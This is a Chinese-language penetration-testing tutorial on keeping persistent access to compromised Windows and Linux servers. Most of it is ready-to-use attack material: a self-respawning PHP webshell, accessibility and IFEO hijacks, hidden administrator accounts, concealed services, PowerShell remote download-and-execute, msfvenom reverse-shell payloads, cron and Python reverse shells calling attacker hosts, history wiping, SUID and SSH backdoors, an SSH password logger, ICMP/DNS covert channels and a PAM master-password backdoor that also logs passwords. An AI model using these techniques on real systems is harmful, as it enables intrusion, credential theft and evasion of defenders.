前言
作为一个渗透测试人员的话可能我们需要对渗透成功的服务器进行权限维持,以防止服务器掉线或者被有关人员发现我们的渗透痕迹导致防守人员发现渗透测试人员的攻击事件从而导致整个项目停止等一些的问题。
Windows权限维持
PHP不死马权限维持
<?php
ignore_user_abort(); //与客户端进行长连接,关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0); //可以让程序无限制的执行下去
$remote_file = 'http://192.168.86.1/only.txt';
$code = file_get_contents($remote_file);
$interval = 5; // 每隔*秒运行
do {
$filename = 'ico.php';
if(file_exists($filename)){
echo "xxxx";
}
else {
$file = fopen("ico.php", "w");
$txt = $code;
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
unlink(__FILE__); // 删除文件本身
} while (true);
?>
组策略脚本
打开组策略(gpedit.msc)-->计算机配置-->Windows设置-->脚本(启动/关闭)-->启动-->显示文件-->新建脚本
绝对路径在:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
@echo off
net user only Qwer1234 /add && localgroup administrators only /add
在启动属性中,添加该脚本即可,该脚本会随系统自动启动
劫持后门
辅助功能劫持
比较老的方式,在windwos系统中为了使电脑更易于使用和访问,添加了一些辅助功能,这些功能可以在用户登陆系统之前以组合键的方式启动,从而无需登陆到系统,我们可以利用这点进行简单的将二进制替换成后门程序。
有以下辅助功能:
C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键
C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键
屏幕键盘:C:\Windows\System32\osk.exe
放大镜:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器:C:\Windows\System32\AtBroker.exe
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
映像劫持
在更高的windwos版本中,由于系统文件受到了系统保护,无法直接进行替换
所以我们需要用到IFEO(Image File Execution Options),即映像劫持
windows 系统上每个服务的信息都存储在注册表中, IFEO 注册表项通常包含驱动程序映像文件的路径。
当我们运行程序时,系统会查询IFEO注册表,如果发现存在和运行程序名称相同的子健,就会查询对应子健中包含的debugger
键值名,如果该参数不为空,系统则会将 debugger
参数里指定的程序文件名作为用户试图启动的程序执行。当我们修改此参数的值为后门程序,成功执行后程序便遭到了 劫持
可视化修改
注册表位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options
在要劫持的程序中,加入键值对
debugger c:\windows\system32\cmd.exe
修改IE浏览器,运行得到cmd.exe
命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
建立影子账号
影子用户即隐藏用户,用户名带有 $
, 无法通过普通的命令进行查询,比较隐蔽。
net user only$ /add
net localgroup administrators only$ /add
但是计算机管理用户可查看到此用户,还是不够隐蔽
解决办法
打开注册表regedit
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
需要将
HEKY_LOCAL_MACHINE\SAM\SAM
的权限设为完全控制并重启注册表才能看到内容
修改值
将 only$ 用户的F值替换为管理员用户的F值
进入图中的目录点击administrator查看类型1F4
将 000001F4
的F值全部复制
找到 only$
用户对应的F值,替换为管理员的F值
导出值
将 Names/only$
和 000003E8
导出
将only$
用户删除
net user only$ /del
导入注册表
regedit /s 1.reg
regedit /s 2.reg
导入后注册表还能查看到用户
但是用户管理和登陆界面都不存在此用户
远程登陆
使用kali下rdesktop进行远程桌面链接时,如果服务器开启 仅允许运行使用网络级别身份验证
则会报错
使用remmina进行替代
sudo apt-get install remmina
以only$
进行登陆
但是登陆之后的身份却是原来管理员的账户,桌面也是原管理员的,实现克隆效果
powershell配置文件后门
PowerShell 配置文件profile主要用于个性化常用的函数、别名等等。每次加载powershell的时候,都会执行profile中的内容。
在某些情况下,攻击者可以通过滥用PowerShell配置文件来获得持久性和提升特权。修改这些配置文件,以包括任意命令,功能,模块和/或PowerShell驱动器来获得持久性。
利用过程
查看是否有profile
Test-path $profile
如果结果是false说明没有,需要创建一个。
New-Item –Path $Profile –Type File –Force
# -Force 是强制创建,即使你有了,也创建。
将运行脚本命令,写入到配置文件中
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
1.bat内容
net user only$ Qwer1234 /add&&net localgroup administrators /add
重新打开powershell,就会执行1.bat
Monitor权限维持
Monitor是一个用于实现后渗透测试阶段权限维持的项目
下载地址:https://github.com/Al1ex/Monitor
项目使用
下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:
#include "Windows.h"
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");//环境架构
TCHAR name[12] = TEXT("Monitor");//监视器名称
TCHAR dll[12] = TEXT("test.dll");//监视器DLL文件的名称
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
生成dll攻击载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.86.134 LPORT=4444 -f dll > shell.dll
将shell.dll复制到目标主机的system32目录下,之后重命名为 pDLLName
自定义监视器dll文件的名称
copy C:\Windows\temp\shell.dll C:\Windows\System32\only.dll
之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下):
Monitors.exe
成功接收到Meterpreter会话
持久化
为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
在命令行下执行以下命令创建一个注册表项,该注册表项将包含值only.dll,从编辑器中查看注册表验证密钥是否已创建:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "only.dll" /t REG_SZ
系统重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在C:\Windows\System32
中的所有驱动程序DLL文件
利用安全描述符隐藏服务后门
通过注册服务创建后门
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通过可以通过sc或者powershell来创建自启动服务。
使用sc创建
sc create ".NET CLR Networking" binpath= "cmd.exe /k C:\Users\Administrator\only.exe" depend= Tcpip obj= Localsystem start= auto
powershell创建
new-service –Name ".NET CLR Networking" –DisplayName ".NET CLR Networking" –BinaryPathName "cmd.exe /k C:\Users\administrator\only.exe" –StartupType AutomaticDelayedStart
但是缺点也很明显,很容易通过 sc query
和 Get-service
发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏后门服务
注册服务后门很容易被发现,我们可以通过修改SDDL(安全描述符语言)修改服务的安全描述符
SDDL原理
windwos访问控制模型分为两部分:
- Access token(访问令牌)
- 安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安 全描述符可以包含以下安全信息:
- 对象的所有者和主要组的SID(安全标识符)
- 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
- 指定为对象生成审核记录的访问尝试类型的 SACL 。
- 一组限制安全描述符或其各个成员的含义的控制位。
Windows服务也是支持使用安全描述符定义语言(Security Descriptor Definition Language | SDDL)控制服务权限的功能。通过修改SDDL可以修改对象(文件或者服务)的DACL(自主访问控制列表),从而修改用户对对象的访问控制。通过对服务的SDDL进行编辑,拒绝所有用户对该服务的读取权限,即实现服务隐藏的效果。
SDDL语法:
格式(允许/拒绝;继承;权限列表;;对象)
符号描述
O: - Owner
G: - Primary Group
D: - Discretionary ACL (DACL)
S: - System ACL (SACL)
ACE 类型描述
A: - Access Allowed
D: - Access Denied
OA: - Object Access Allowed
OD: - Object Access Denied
AU: - System Auidt
AL: - System Alarm
OU: - System Object Audit
OL: - System Object Alarm
ML: - System MAndatory Label
服务相关符号权限
CC:- 服务配置查询
LC: - 服务状态查询
SW: - SERVICE_ENUMERATE_DEPENDENTS
RP: - 服务启动
WP: - 服务停止
DT: - 服务暂停
DC: - 服务配置更改
SD: - 删除
继承标志位
OI:- 表示该ACE可以被子对象继承
CI:- 表示该ACE可以被子容器继承
IO:- 仅作用于子对象
NP:- 仅被直接子容器继承,不继续向下继承
对象
"IU":- 交互登陆用户
"AU":- 认证用户
"SU":- 服务登陆用户
隐藏服务主要用到的SDDL为:
D:(D;;DCLCWPDTSD;;;IU) //拒绝交互登陆用户的服务配置、查询、状态查询、暂停和删除权限
(D;;DCLCWPDTSD;;;SU) //拒绝登陆用户的服务配置、查询、状态查询、暂停和删除权限
(D;;DCLCWPDTSD;;;BA) //拒绝认证用户的服务配置、查询、状态查询、暂停和删除权限
可以使用powershell命令查看文件夹的SDDL:
get-acl "c:\windows" | fl
利用过程
隐藏后门服务
使用sc 命令的sdset模块可以修改服务的安全描述符,命令如下:
sc sdset ".NET CLR Networking" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdshow 查看服务的安全描述符
再次使用命令查看服务信息,服务不存在
使用sc查看服务信息拒绝访问,并且find查询不存在
注册表异常
虽然无法通过命令查看后门服务信息,但是注册表中可以很容易看到异常
修该注册表ACL
我们可以通过修改注册表的DACL来拒绝 对值的查询,达到隐藏异常值的效果。
这里给出一个通过powershell修改注册表项的访问权限的简单脚本:
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
这里给出的测试脚本是拒绝掉Everyone的QueryValues权限,也就是注册表查询值的权限,达到隐藏异常值的效果。也可以修改其他权限达到禁止删除、禁止重设权限等等操作。
远程加载powershell脚本:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxxx/acl.ps1'));Server-Sddl-Change -Name '.NET CLR Networking'"
注册表异常值已被隐藏
隐藏服务的查找
Joshua Wright 团队给出了利用该种方式隐藏服务的反制措施:
Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}
由于修改了注册表查询权限后会报拒绝访问
IIS后门
IIS的web服务器一般都是使用的 .net
所以可以利用 .net做后门
项目地址:https://github.com/WBGlIl/IIS_backdoor
在网站目录下新建一个bin文件夹,这个文件夹存放dll集,将项目中的IIS_backdoor_dll.ddl存放在这里面
新建 web.config
或者原配置文件上添加以下内容:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
编译IIS_backdoor_shell或打开已经编译好的 将网址填写进去即可访问
windows常用隐藏技术
利用文件属性
使用命令 attrib
命令把原本的文件增加系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib +s +a +h +r c:\only.exe
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件都看不见
不过依然还是有查看的办法
驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker
下载链接: http://www.xoslab.com/efl.html
运行 Easy File Locker 后首先添加密码:System > Set Password,之后每次运行 Easy File Locker 包括卸载都需要输入密码。就算程序被删除,但是只要留下核心的驱动文件依然可以。
然后即可进行添加 文件夹/文件
的操作了
上述共四个属性,勾选代表可用,取消代表不可用,图中代表着可读、不可写、不可删除、不可见
驱动隐藏最典型的就是系统盘中存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
进行清除
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
总结
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现。
linux权限维持
修改文件属性
文件创建时间
如果防守方根据文件修改时间来判断文件是否为后门,例如:index.php文件的时间再来看shell.php文件的时间就可以判断出shell.php生成的时间是否存在异常,那么我们可以使用如下方法解决该问题:
touch shell.php -r index.php
-r:使用index.php的时间戳作为参考,那么这样操作即可简单的防止防守人员的搜查
文件锁定
在linux中,使用chattr命令来防止root和其它管理员用户误操作导致删除和修改重要文件和目录,此权限用ls -l
命令是无法查看出来的,从而达到了隐藏权限的目的。
chattr +i sh.php 锁定文件
rm -rf sh.php 禁止强制删文件
lsattr sh.php 查看文件属性
chattr -i sh.php 解除文件锁定状态
rm -rf sh.php 强制删除文件
历史操作命令
在shell中执行的命令不希望被记录在命令行历史中,如何在linux中开启无痕操作模式??
方式一:临时关闭历史记录操作
[space]set +o history [space]表示空格,由于空格的缘故,该命令本身也不会被记录
上面的命令会从本条命令(包括本条)开始所有的操作记录都不会被记录到历史命令之中,但是以前执行的命令都会保持原样留在历史记录中
要重新开始历史记录功能可以执行如下命令:
[Space]set -o history #将环境恢复原状
方式二:从历史命令中删除指定命令
假设历史命令中已经记录了一些我们不希望记录下来的命令,这种情况下我们可以使用下面的命令来删除指定历史命令
history | grep "whoami" 正则匹配历史命令
输出指定的历史命令语句,每一条语句的前面会有一个数字,从历史记录中删除指定命令编号
history -d [num]
具体操作如图:
删除大规模历史记录,这里我只保留前100行
sed -i '100,$d' ~/.bash_history
passwd增加用户
/etc/passwd部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户SHELL
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周
期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用
举例
1.增加管理员用户
perl -le 'print crypt("passwd","salt")' 密码为passwd
$echo "m123:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd
suid后门
当一个文件所属主的x标志为s,该文件所属主为root,当执行该文件时,其实是以root身份执行的。
必要条件:
1.SUID权限仅对二进制程序文件有效
2.执行者对于该程序必须具有X的可执行权限
3.本权限只在执行该程序的过程中有效
4.在执行过程中执行者将具有该程序所属用户的权限
创建suid权限文件
cp /bin/bash /tmp/.ost
chmod 4755 /tmp/.ost
ls -al /tmp/.ost
-rwsr-xr-x 1 root root 690668 Jul 24 17:14 .ost
/tmp/.ost
/tmp/.ost -p
# bash2 针对 suid的一些防护措施,不使用-p参数默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将euid(即suid)强制重置为uid 。如果使用了-p参数,则不会再覆盖。
euid的意思是 effective user id
详情
SSH后门
SSH软连接后门
利用前提
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM
原理
pam_rootos.so模块
pam_rootok.so主要作用是使得uid为0的用户,即root用户可直接通过认证而不需要输入密码
我们查看/etc/pam.d/su文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因
PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。
当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
建立后门
使用root执行命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345
然后使用ssh任意密码连接1234端口登录root账户
如果root用户被禁止远程登录时此方式不能直接登录,但是可以利用其他存在的用户身份登录
注意:软链接的路径不是绝对的,但su文件名不能变,否则无法登录,可以通过使用以下命令,出现的则可以用作软连接名称
find /etc/pam.d |xargs grep "pam_rootok"
优点:
能够绕过一些网络设备的安全流量监测,但是本地在查看监听端口时会暴露端口,建议设置成 8081,8080等端口。
SSH公钥免密码登陆
ssh-keygen -t rsa #生成公钥
cat id_rsa.pub >> authorized_keys
#将id_rsa.pub内容放到目标.ssh/authorized_keys里
这个是老生常谈的公钥免登陆,这种用法不只是用在留后门,还可以在一些特殊情况下获取一个交互的 shell,如struts写入公钥,oracle写入公钥连接,Redis未授权访问等情景。
chmod 600 id_rsa
ssh -i id_rsa root@192.168.10.1
SSH Keylogger记录密码
当前系统如果存在strace的话,它可以跟踪任何进程的系统调用和数据,可以利用 strace 系统调试工具获取 ssh 的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。
在当前用户的 .bashrc 里新建一条 alias ,这样可以抓取他登陆其他机器的 ssh 密码
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
倘若当前系统不存在alias,那么就会影响其正常使用。
grep -A 9 'password' .ssh-2210月101634901802.log
Cron安装后门
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动(Ubuntu中自动启动)。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务。
(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.86.134/6666 0>&1';\r%100c\n")|crontab -
(crontab -l;printf "*/1 * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/3.19.69.8/88890>&1';\r%100c\n")|crontab -
如果原本没有计划任务:
(crontab -l;printf "*/1 * * * * /home/only/1.sh;\rno crontab for `whoami`%100c\n")|crontab -
这种利用方法巧妙在使用了windows中的 \r( Linux 中显示为M),导致显示截断,从而隐藏我们真实的计划任务,我们使用crontab -e
可以看到真实的计划任务如下:
Cat隐藏
利用cron里面提到的隐藏方法,可以利用这个方法隐藏恶意命令在一些脚本中
cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令。
使用python生成带有换行符的内容sh:
cmd_h = "echo 'You forgot to check `cat -A`!' > oops" # hidden
cmd_v = "echo 'Hello world!'" # visible
with open("test.sh", "w") as f:
output = "#!/bin/sh\n"
output += cmd_h + ";" + cmd_v + " #\r" + cmd_v + " " * (len(cmd_h) + 3) + "\n"
f.write(output)
使用 py 生成了一个 test.sh 脚本,同目录下只有他本文件,cat查看一下:
执行一下test.sh:
cat -A 再次查看一下:
其实可以看出来这样就做到了恶意命令隐藏的效果。如果使用 cat -A 查看root文件的话就可以看到计划任务的真正内容了
vim python 扩展后门
适用于安装了vim且安装了python扩展(绝大版本默认安装),如果服务器没有安装 python应用,可以通过vim编辑器启动python程序,因为如今的vim编辑器为了更好的支持python语言,默认是安装了python扩展,通过vim的python扩展,也可以去启动一个python程序。可通过“vim --version”查看是否已支持python扩展
vim -E -c "py3file dir.py"
#-E是启动一个改进的Ex模式(也就是命令模式)
#-c是去加载一个文件,并去执行。
正向连接
恶意脚本 dir.py 的内容可以是任何功能的后门,比如监听本地的11端口:
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',6666))
server.listen(5)
print('waiting for connect')
talk, addr = server.accept()
print('connect from',addr)
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
反向连接
import socket, subprocess, os;
while:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.86.134", 7777));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);
隐藏后门
上面执行的后门太明显,netstat -antp
可直接看到,而且命令执行后会有空白窗口,所以需要进行隐藏
隐藏窗口
建议使用正向连接,此方法使用反向连接无法建立长久连接
(nohup vim -E -c "py3file dir.py" > /dev/null 2>&1 &)
#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。
既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上
(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
隐藏进程
mkdir null
mount --bind null /proc/6238
netstat -anpt
##mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。
已经成功隐藏了进程名和进程ID,通过netstat和ps命令,均无法查看到进程名与进程ID,实战的时候监听的端口号可疑换成8088等具有迷惑性的端口号,可以更好的隐藏
inetd服务后门
inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。
inetd.conf配置说明
#[service_name] [sock_type] [proto] [flags] [user] [server_path] [args]
#[服务名称] [协议(tcp或udp)][标志(wait或 nowait)][属主][真实服务程序全路径] [真实服务程序名称及参数]
daytime stream tcp nowait root internal
daytime: inetd开始监听daytime服务[默认端口13]
这里的协议名称及默认端口号其实都在 /etc/protocol和/etc/services文件中定义好了
stream: 并为此服务创建流类型的socket
tcp: 使用tcp协议
nowait: 父进程不会等待子进程的退出状态
root internal: 当inetd监听到 daytime 客户端请求,且端口成功连接后,inetd就会fork一个子进程,该子进程属主为root同时它也继承了该子进程的父进程与客户端连接成功后所产生的子socket然后该子进程将该子socket为0,1,2[标准输入,输出及错误输出]发给execl去执行 internal处定义的程序
#这里还需要稍微注意下,定义要执行的程序必须给绝对路径
建立后门
#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
$inetd
#nc连接
nc -vv 192.168.86.147 13
隐藏后门
为了更好的隐藏shell,可以直接使用service中定义好的服务,只需要把实际的处理程序替换即可
fido stream tcp nowait root /bin/bash bash -i
通过FIDO (Fast Identity Online) 协议建立一个TCP连接,并以非阻塞模式(nowait),以root权限登录系统,然后运行 /bin/bash 命令并以交互模式(bash -i)启动一个新的shell会话。
协议后门
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截
icmp
使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)
ICMP主要原理就是利用ICMP中可控的data字段进行数据传输,具体原理请参考: https://zhuanlan.zhihu.com/p/41154036
工具下载:https://github.com/andreafabrizi/prism
icmp模式
条件:双方能够ping通就行,建议先检查一下这个
#目标主机:192.168.86.147
#攻击机:192.168.86.134
$ vim prism.c
define REVERSE_HOST "192.168.86.134"(攻击主机)
define REVERSE_PORT 6666 (攻击主机监听的端口)
define ICMP_KEY "passwd"(密码)
#编译运行
$ gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
$ ./prism
#攻击机运行
$ python2 ./sendPacket.py 192.168.86.147 passwd 192.168.86.134 6666
静态模式
#攻击机:192.168.86.134
$ nc -lvnp 6666
#目标主机:192.168.86.147
$ vim prism.c (修改内容同上)
$ gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
$ ./prism
DNS
在大多数的网络里环境中IPS/IDS或者硬件防火墙都不会监控和过滤DNS流量。主要原理就是将后门载荷 隐藏在拥有PTR记录和A记录的DNS域中(也可以利用AAAA记录和IPv6地址传输后门)
工具下载:https://github.com/DamonMohammadbagher/NativePayload_DNS
生成C类型的payload
msfvenom --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.86.134 -f c > payload.txt
将payload每行载荷以下面的格式拷贝到dns.txt
IP地址 "{载荷}.域.com"
1.1.1.0 "0xfc0x480x830xe40xf00xe8.1.com"
1.1.1.1 "0xbc0xc80x130xff0x100x08.1.com"
#将开头的unsigned char buf[] = 和结尾的分号删除,然后输入以下命令快速替换
awk '{print NR-1,$0}' payload.txt > dns.txt && sed -i 's/\\//g;s/^/1.1.1./g;s/x/0&/g;s/"$/\.1.com&/g' dns.txt
dnsspoof
使用dnsspoof在kali里生成假冒的DNS服务器
dnsspoof -i eth0 -f /root/dns.txt
NativePayload_DNS
将工具下载后进行源代码编译,使用生产的exe,按照如下的命令语法执行:
NativePayload_DNS.exe "1.1.1."34 "192.168.86.134"
PAM后门
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题。
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的。所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确,从而达到作为后门的目的。
利用过程
自动化脚本:https://github.com/litsand/shell/blob/master/pam.sh
查询pam版本
#redhat
yum list pam
#debian&Ubuntu
dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
下载对应版本:http://www.linux-pam.org/library/
修改源码
tar -zxvf Linux-PAM-1.1.8.tar.gz
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
pam_unix_auth.c 在这里你可以修改认证逻辑,改成使用特定密码的后门,当然也可以作为一个记录敏感密码的功能,将记录的密码写入文件记录。
retval = _unix_verify_password(pamh, name, p, ctrl);
//特定密码登陆
if(strcmp("onlyQwer123",p)==0){
return PAM_SUCCESS;
}
//记录密码写入文件
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog","a");
fprintf(fp,"%s : %s\n",name,p);
fclose(fp);
}
命令行修改
sed -i '/\t retval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
编译源码
解决依赖性
yum install gcc make flex -y
configure&&make
编译后的pam_unix.so在
Linux-PAM-1.1.8/modules/pam_unix/.libs
进行备份和替换
#ubuntu
mv /lib/x86_64-linux-gnu/security/pam_unix.so ./pam_unix.so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security
#centos & redhat
64位:/lib64/security/
32位:/lib/security
登陆测试
更改文件时间
stat pam_unix.*
touch pam_unix.so -r pam_unix.so.src #克隆原始文件时间
#查看原始文件的Selinux上下文
ls -Z pam_unix.so.src
# 设置Selinux上下文
chcon –reference=pam_unix.so.src pam_unix.so setsebool -P allow_saslauthd_read_shadow 1
Rootkit
Rootkit是一种通过修改操作系统内核或更改指令执行路径,来隐藏系统对象(包括文件、进程、驱动、注册表项、开放端口和网络连接等),以逃避或者规避标准系统机制的程序。
Rootkit源于UNIX系统,Root指拥有所有特权的管理员,Kit是管理工具,由此可以认为Rootkit就是而已获取管理员特权的工具,利用其越权。
Rootkit提供服务而非实现服务,3种服务:隐遁;侦察;控制。
rootkit分为内核级和应用级两种:内核级的比如:Diamorphine,文件级的比如:Mafix
